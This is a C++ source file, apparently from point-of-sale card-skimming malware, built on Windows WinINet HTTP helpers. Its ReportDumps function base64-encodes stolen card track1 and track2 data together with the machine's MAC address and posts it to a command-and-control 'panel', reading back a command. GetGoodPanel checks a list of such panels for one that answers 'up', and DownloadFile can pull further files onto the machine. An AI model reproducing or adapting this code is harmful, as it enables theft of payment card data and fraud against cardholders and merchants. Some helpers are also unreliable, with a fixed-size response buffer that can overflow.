#include "stdafx.h"
#include "http.h"
#include "util.h"
#include "constants.h"


HINTERNET NetStart ()
{
	const HINTERNET handle =
		InternetOpenW(0, INTERNET_OPEN_TYPE_DIRECT, 0, 0, 0);
	return handle;
}

void NetClose ( HINTERNET object )
{
	InternetCloseHandle(object);
}

HINTERNET NetOpen ( HINTERNET session, LPCWSTR url)
{
	const HINTERNET handle =
		InternetOpenUrlW(session, url, 0, 0, 0, 0);
	return handle;
}

void NetFetch ( HINTERNET istream, std::ostream& ostream )
{
	static const DWORD SIZE = 1024;
	DWORD error = ERROR_SUCCESS;
	BYTE data[SIZE];
	DWORD size = 0;
	do {
		BOOL result = InternetReadFile(istream, data, SIZE, &size);
		ostream.write((const char*)data, size);
	}
	while ((error == ERROR_SUCCESS) && (size > 0));
}

bool DownloadFile(std::string link, std::wstring save_to)
{
	bool result = false;
	try
	{
		const HINTERNET session = NetStart();
		//timeout in msec, now set 20 sec as default
		DWORD dwTimeout = 20000;
		InternetSetOption(session,INTERNET_OPTION_RECEIVE_TIMEOUT, &dwTimeout, sizeof(DWORD));

		if ( session != 0 )
		{
			HINTERNET istream = NetOpen(session, StringToWString(link).c_str());
			if ( istream != 0 )
			{
				std::ofstream ostream(save_to, std::ios::binary);
				if ( ostream.is_open() ) {
					NetFetch(istream, ostream);
				}
				NetClose(istream);
			}
			NetClose(session);
			result = true;
		}
	}catch(...)
	{
	}
	return result;
}
bool DownloadString(std::string link, std::string & response_body)
{	
	bool result = false;
	try
	{
		const HINTERNET session = NetStart();
		//timeout in msec, now set 10 sec as default
		DWORD dwTimeout = 10000;
		InternetSetOption(session,INTERNET_OPTION_RECEIVE_TIMEOUT, &dwTimeout, sizeof(DWORD));

		if ( session != 0 )
		{
			HINTERNET istream = NetOpen(session, StringToWString(link).c_str());
			if ( istream != 0 )
			{
				std::stringstream out;
				NetFetch(istream, out);
				NetClose(istream);
				response_body = out.str();
				result = true;
			}
			NetClose(session);
		}
	}catch(...)
	{
	}
	return result;
}

std::string char2hex( char dec )
{
	char dig1 = (dec&0xF0)>>4;
	char dig2 = (dec&0x0F);
	if ( 0<= dig1 && dig1<= 9) dig1+=48;    //0,48inascii
	if (10<= dig1 && dig1<=15) dig1+=97-10; //a,97inascii
	if ( 0<= dig2 && dig2<= 9) dig2+=48;
	if (10<= dig2 && dig2<=15) dig2+=97-10;

	std::string r;
	r.append( &dig1, 1);
	r.append( &dig2, 1);
	return r;
}

std::string urlencode(const std::string &c)
{

	std::string escaped="";
	int max = c.length();
	for(int i=0; i<max; i++)
	{
		if ( (48 <= c[i] && c[i] <= 57) ||//0-9
			(65 <= c[i] && c[i] <= 90) ||//abc...xyz
			(97 <= c[i] && c[i] <= 122) || //ABC...XYZ
			(c[i]=='~' || c[i]=='!' || c[i]=='*' || c[i]=='(' || c[i]==')' || c[i]=='\'')
			)
		{
			escaped.append( &c[i], 1);
		}
		else
		{
			escaped.append("%");
			escaped.append( char2hex(c[i]) );//converts char 255 to string "ff"
		}
	}
	return escaped;
}
bool PostData(std::string host, std::string post_url, char post_data[], std::string & resp)
{
	try
	{
		HINTERNET hSession,hConnect,hRequest; 

		wchar_t hdrs[] = L"Content-Type: text/html;charset=utf-8\r\nContent-Type: application/x-www-form-urlencoded\r\n";  
		hSession = InternetOpenW(L"something",INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); 
		if (hSession == 0) 
			return false; 
		hConnect = InternetConnectW(hSession, StringToWString(host).c_str(),INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1); 
		if (hConnect == 0) 
			return false; 

		hRequest = HttpOpenRequestW(hConnect, L"POST", StringToWString(post_url).c_str(), NULL, NULL, NULL, 0, 1); 
		if (hRequest == 0) 
			return false; 

		bool check; 
		check = HttpSendRequestW(hRequest, hdrs, wcslen(hdrs), post_data, strlen(post_data)); 
		if (!check) 
			return false; 
		CHAR szBuffer[2048];
		char* temp = szBuffer;
		DWORD dwRead=0;
		while (InternetReadFile(hRequest, temp, 1024, &dwRead) == TRUE && dwRead > 0)
		{
			temp += dwRead;
		}
		*temp = '\0';
		std::string response = szBuffer;
		InternetCloseHandle(hSession); 
		InternetCloseHandle(hConnect); 
		InternetCloseHandle(hRequest);
		resp = response;
		return true;
	}catch(...)
	{
	}
	return false;
}
bool ReportDumps(std::vector<std::string> track1s, std::vector<std::string> track2s, std::string &cmd)
{
	try{
		//get alive panel
		std::string panel;
		if(!GetGoodPanel(panel))
		{
			return false;
		}	
		std::string joinedtrack1s = JoinVector(track1s, "|");
		std::string encoded_track1s = base64_encode(reinterpret_cast<const unsigned char*>(joinedtrack1s.c_str()), joinedtrack1s.length());
		std::string joinedtrack2s = JoinVector(track2s, "|");
		std::string encoded_track2s = base64_encode(reinterpret_cast<const unsigned char*>(joinedtrack2s.c_str()), joinedtrack2s.length());
		std::string post_data = "mac="+GetMacAddress() +"&t1=" +encoded_track1s+"&t2="+encoded_track2s;
		//convert this to char array
		char post_data_chr[131072];
		strncpy(post_data_chr, post_data.c_str(), sizeof(post_data_chr));
		post_data_chr[sizeof(post_data_chr) - 1] = 0;
		std::string resp;
		if(PostData(panel, "post", post_data_chr, resp))
		{
			cmd = resp;
			return true;
		}
	}catch(...)
	{
	}
	return false;
}

bool GetGoodPanel(std::string & good_panel)
{
	for(int i = 0; i<control_panels.size(); i++)
	{
		try{
			std::string panel = control_panels[i];
			std::string resp;
			if(DownloadString("http://"+panel+"/post/echo",resp))
			{
				if(resp == "up")
				{
					good_panel = panel;
					return true;
				}
			}
		}catch (...)
		{
		}
	}
	return false;
}